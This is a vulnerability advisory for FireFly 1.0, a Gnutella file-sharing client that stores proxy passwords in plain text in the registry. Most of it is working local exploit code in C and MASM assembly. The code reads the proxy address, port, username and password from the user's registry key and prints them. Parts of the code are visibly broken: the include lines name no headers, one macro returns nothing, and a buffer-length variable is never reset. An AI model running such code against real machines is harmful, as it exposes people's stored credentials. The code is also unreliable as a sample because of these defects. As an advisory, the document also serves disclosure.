firefly_pass_recovery.txt

`---------------------  
Application:  
---------------------  
  
  
FireFly 1.0  
  
  
---------------------  
Introduction:  
---------------------  
  
Vendor: NetCruiser Software  
www.netcruiser-software.com  
  
Vendor Description: Firefly is a Windows application that  
allows you to share files with other users.  
Firefly uses the Gnutella network, a free and open network.  
  
  
  
---------------------  
Bug:  
---------------------  
  
  
FireFly 1.0 stores proxy passwords  
in registry with plain text format without crypting and  
can be viewed by a local user.  
  
  
  
---------------------  
Vendor Confirmed:  
---------------------  
No.  
  
  
---------------------  
Fix:  
---------------------  
There is no solution at the time of this entry.  
  
  
  
---------------------  
Exploit:  
---------------------  
  
  
-------  
C CODE:  
-------  
  
  
  
/*****************************************************************  
  
FireFly v1.0 Local Exploit by Kozan  
  
Application: FireFly v1.0  
Vendor: NetCruiser Software - www.netcruiser-software.com  
Vulnerable Description: FireFly v1.0 discloses proxy passwords  
to local users.  
  
  
Discovered & Coded by: Kozan  
Credits to ATmaCA  
Web : www.netmagister.com  
Web2: www.spyinstructors.com  
Mail: [email protected]  
  
  
*****************************************************************/  
  
  
#include  
#include  
  
#define BUFSIZE 100  
HKEY hKey;  
char proxyaddr[BUFSIZE],  
proxyport[BUFSIZE],  
proxyuser[BUFSIZE],  
proxypass[BUFSIZE];  
DWORD dwBufLen=BUFSIZE;  
LONG lRet;  
  
  
int main(void)  
{  
  
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly FileFinder\\GnutellaServer",  
0,  
KEY_QUERY_VALUE,  
&hKey) == ERROR_SUCCESS)  
{  
  
lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr, &dwBufLen);  
  
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){  
strcpy(proxyaddr,"Not found!");  
}  
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);  
  
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){  
strcpy(proxypass,"Not found!");  
}  
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);  
  
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){  
strcpy(proxyuser,"Not found!");  
}  
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);  
  
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){  
strcpy(proxyport,"Not found!");  
}  
  
  
RegCloseKey( hKey );  
  
printf("FireFly v1.0 Local Exploit by Kozan\n");  
printf("Credits to ATmaCA\n");  
printf("www.netmagister.com - www.spyinstructors.com\n");  
printf("[email protected]\n\n");  
printf("Proxy Address : %s\n",proxyaddr);  
printf("Proxy Port : %s\n",proxyport);  
printf("Proxy Username : %s\n",proxyuser);  
printf("Proxy Password : %s\n",proxypass);  
  
  
}  
else{  
printf("FireFly v1.0 is not installed on your system!\n");  
}  
  
  
return 0;  
}  
  
  
  
---------  
ASM CODE:  
---------  
  
  
;*****************************************************************  
  
;FireFly v1.0 Local Exploit by Kozan  
  
;Application: FireFly v1.0  
;Vendor: NetCruiser Software - www.netcruiser-software.com  
;Vulnerable Description: FireFly v1.0 discloses proxy passwords  
;to local users.  
  
  
;Discovered & Coded by: Kozan  
;Credits to ATmaCA  
;Web : www.netmagister.com  
;Web2: www.spyinstructors.com  
;Mail: [email protected]  
  
;*****************************************************************  
  
.386  
.model flat, stdcall  
option casemap :none  
include \masm32\include\windows.inc  
include \masm32\include\user32.inc  
include \masm32\include\kernel32.inc  
include \masm32\include\shell32.inc  
include \masm32\include\advapi32.inc  
include \masm32\include\masm32.inc  
includelib \masm32\lib\user32.lib  
includelib \masm32\lib\kernel32.lib  
includelib \masm32\lib\shell32.lib  
includelib \masm32\lib\advapi32.lib  
includelib \masm32\lib\masm32.lib  
literal MACRO quoted_text:VARARG  
LOCAL local_text  
.data  
local_text db quoted_text,0  
.code  
EXITM  
ENDM  
SADD MACRO quoted_text:VARARG  
EXITM  
ENDM  
.data  
SubKey db "Software\\FireFly FileFinder\\GnutellaServer",0  
szUser db "ProxyUser",0  
szPass db "ProxyPass",0  
szAddr db "ProxyAddr",0  
szPort db "ProxyPort",0  
notInstalled db "FireFly v1.0 is not installed on your pc!",0  
Theoutput db '_______________________________________________________________',13,10  
db '* FireFly v1.0 Local Exploit by Kozan *',13,10  
db '* Discovered & Coded by Kozan *',13,10  
db '* Credits to ATmaCA *',13,10  
db '* www.spyinstructors.com - www.netmagister.com *',13,10  
db '* [email protected] *',13,10  
db '*_____________________________________________________________*',13,10  
db ' Proxy Address : %s ',13,10  
db ' Proxy Port : %s ',13,10  
db ' Proxy Username : %s ',13,10  
db ' Proxy Password : %s ',13,10,0  
KeySize DWORD 255  
.data?  
TheADDRData db 64 dup (?)  
ThePORTData db 64 dup (?)  
TheUSERData db 64 dup (?)  
ThePASSData db 64 dup (?)  
TheReturn DWORD ?  
strbuf db 258 dup (?)  
.code  
start:  
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn  
.IF eax==ERROR_SUCCESS  
invoke RegQueryValueEx,TheReturn,addr szAddr,0,0,addr TheADDRData, addr KeySize  
.IF KeySize < 2  
invoke lstrcpy,addr TheADDRData,SADD("Not Found!")  
.ENDIF  
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize  
.IF KeySize < 2  
invoke lstrcpy,addr TheUSERData,SADD("Not Found!")  
.ENDIF  
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize  
.IF KeySize < 2  
invoke lstrcpy,addr ThePASSData,SADD("Not Found!")  
.ENDIF  
invoke RegQueryValueEx,TheReturn,addr szPort,0,0,addr ThePORTData, addr KeySize  
.IF KeySize < 2  
invoke lstrcpy,addr ThePORTData,SADD("Not Found!")  
.ENDIF  
  
invoke wsprintf, addr strbuf, addr Theoutput,addr TheADDRData, addr ThePORTData, addr TheUSERData, addr ThePASSData  
invoke StdOut, addr strbuf  
.ELSE  
invoke StdOut, addr notInstalled  
.ENDIF  
invoke RegCloseKey , TheReturn  
Invoke ExitProcess,0  
end start  
  
`